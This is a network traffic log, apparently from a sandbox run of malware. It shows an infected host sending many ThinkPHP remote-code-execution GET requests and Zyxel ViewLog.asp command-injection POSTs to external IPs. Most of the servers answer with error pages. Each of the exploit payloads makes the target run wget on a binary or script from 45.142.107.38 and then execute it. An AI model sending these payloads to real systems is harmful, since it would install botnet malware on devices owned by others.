Mar 4, 2024 15:06:33.007764101 CET	204	IN	Data Raw: ef bb bf 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 6f 63 61 6c 74 6f 6e 65 74 2e 63 6f 6d 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 3c 69 6d Data Ascii: <!DOCTYPE html><html><body><a href="https://localtonet.com" target="_blank"><img src="https://localtonet.com/uploads/2625_502.png" style="display: block; margin: auto;" /></a></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
215	192.168.2.13	42466	95.100.55.18	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:32.997339964 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:33.180062056 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Mon, 04 Mar 2024 14:06:33 GMT Date: Mon, 04 Mar 2024 14:06:33 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 66 66 39 30 61 31 37 26 23 34 36 3b 31 37 30 39 35 36 31 31 39 33 26 23 34 36 3b 63 30 63 38 38 35 35 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.5ff90a17.1709561193.c0c8855</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
216	192.168.2.13	36228	95.164.89.221	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:33.007389069 CET	96	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 192 Connection: close
Mar 4, 2024 15:06:33.007433891 CET	204	IN	Data Raw: ef bb bf 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 6f 63 61 6c 74 6f 6e 65 74 2e 63 6f 6d 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 3c 69 6d Data Ascii: <!DOCTYPE html><html><body><a href="https://localtonet.com" target="_blank"><img src="https://localtonet.com/uploads/2625_502.png" style="display: block; margin: auto;" /></a></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
217	192.168.2.13	41016	95.160.51.191	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:33.017005920 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:33.220427036 CET	140	IN	HTTP/1.1 403 Forbidden Content-Type: text/html;charset=UTF-8 Content-Length: 0 Connection: close Cache-control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
218	192.168.2.13	41160	95.101.81.28	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:33.029233932 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:33.243324041 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Mon, 04 Mar 2024 14:06:33 GMT Date: Mon, 04 Mar 2024 14:06:33 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 63 39 31 30 30 32 26 23 34 36 3b 31 37 30 39 35 36 31 31 39 33 26 23 34 36 3b 39 35 61 34 62 38 35 65 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.3c91002.1709561193.95a4b85e</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
219	192.168.2.13	41022	95.160.51.191	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:33.431446075 CET	140	IN	HTTP/1.1 403 Forbidden Content-Type: text/html;charset=UTF-8 Content-Length: 0 Connection: close Cache-control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
220	192.168.2.13	51568	95.67.123.94	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:33.691888094 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:33.890737057 CET	895	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:06:43 GMT Server: Apache/2.4.37 (Win32) OpenSSL/1.1.1a PHP/7.3.1 Vary: accept-language,accept-charset Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=utf-8 Content-Language: en Expires: Mon, 04 Mar 2024 14:06:43 GMT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0d 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 42 61 64 20 72 65 71 75 65 73 74 21 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 70 6f 73 74 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 22 20 2f 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0d 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 42 61 64 20 72 65 71 75 65 73 74 21 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>Bad request!</title><link rev="made" href="mailto:postmaster@localhost" /><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; } a:link { color: #0000CC; } p, address {margin-left: 3em;} span {font-size: smaller;}/...*/--></style></head><body><h1>Bad request!
Mar 4, 2024 15:06:33.890779018 CET	411	IN	Data Raw: 3c 2f 68 31 3e 0d 0a 3c 70 3e 0d 0a 0d 0a 0d 0a 20 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 28 6f 72 20 70 72 6f 78 79 29 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 0d 0a 20 20 20 20 74 68 69 73 20 73 65 72 76 65 72 20 63 Data Ascii: </h1><p> Your browser (or proxy) sent a request that this server could not understand.</p><p>If you think this is a server error, please contactthe <a href="mailto:postmaster@localhost">webmaster</a>.</p><h2>E

Session ID	Source IP	Source Port	Destination IP	Destination Port
221	192.168.2.13	51724	95.183.39.31	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:33.728600979 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:33.961713076 CET	315	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 04 Mar 2024 14:06:33 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
222	192.168.2.13	38624	95.217.216.68	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:33.881098032 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:34.071012020 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
223	192.168.2.13	45778	95.57.140.129	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:33.946764946 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:34.201975107 CET	29	IN	HTTP/1.1 200 OK
Mar 4, 2024 15:06:34.202121973 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
224	192.168.2.13	40696	95.101.172.173	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:33.951842070 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:34.212059021 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Mon, 04 Mar 2024 14:06:34 GMT Date: Mon, 04 Mar 2024 14:06:34 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 37 64 65 34 35 36 38 26 23 34 36 3b 31 37 30 39 35 36 31 31 39 34 26 23 34 36 3b 61 31 62 33 34 31 66 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.87de4568.1709561194.a1b341f</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
225	192.168.2.13	43942	62.29.26.40	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:35.535520077 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
226	192.168.2.13	43730	62.170.5.180	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:35.536880016 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:35.766844034 CET	464	IN	HTTP/1.1 404 Not Found Date: Mon, 04 Mar 2024 16:09:57 GMT Server: Webs X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1;mode=block Cache-Control: no-store Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
227	192.168.2.13	42404	94.123.183.146	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:35.978987932 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
228	192.168.2.13	39022	85.92.113.171	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:36.501036882 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:40.759125948 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:40.916801929 CET	400	IN	HTTP/1.1 400 Bad Request Server: WAF Date: Mon, 04 Mar 2024 14:06:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: waf_404=ad728e52-7953-4bf3-a812-aa16ba12a13b; Max-Age=300; Path=/; HttpOnly Cache-Control: no-cache, no-store x-frame-options: sameorigin Data Raw: 35 36 0d 0a 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 3d 27 2f 68 6f 73 74 5f 6e 6f 74 5f 66 6f 75 6e 64 5f 65 72 72 6f 72 27 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 56<html><body><script>document.location='/host_not_found_error';</script></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
229	192.168.2.13	46936	85.158.210.166	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:36.506850958 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:36.672183990 CET	958	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 774 Date: Mon, 04 Mar 2024 14:06:36 GMT Keep-Alive: timeout=20 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 4d 65 73 73 61 67 65 3c 2f 62 3e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 5b 26 23 34 37 3b 63 67 69 2d 62 69 6e 26 23 34 37 3b 56 69 65 77 4c 6f 67 2e 61 73 70 5d 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 3c 2f 70 3e 3c 70 3e 3c 62 3e 44 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 54 68 65 20 6f 72 69 67 69 6e 20 73 65 72 76 65 72 20 64 69 64 20 6e 6f 74 20 66 69 6e 64 20 61 20 63 75 72 72 65 6e 74 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 66 6f 72 20 74 68 65 20 74 61 72 67 65 74 20 72 65 73 6f 75 72 63 65 20 6f 72 20 69 73 20 6e 6f 74 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 63 6c 6f 73 65 20 74 68 61 74 20 6f 6e 65 20 65 78 69 73 74 73 2e 3c 2f 70 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 39 2e 30 2e 34 31 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a 